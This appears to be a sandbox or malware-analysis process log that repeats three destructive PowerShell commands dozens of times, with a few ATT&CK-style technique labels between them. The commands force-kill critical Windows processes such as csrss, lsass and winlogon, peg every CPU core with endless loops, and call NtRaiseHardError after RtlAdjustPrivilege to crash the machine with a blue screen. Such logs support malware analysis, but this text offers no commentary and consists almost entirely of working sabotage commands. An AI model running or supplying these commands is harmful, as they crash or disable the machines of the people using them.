C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
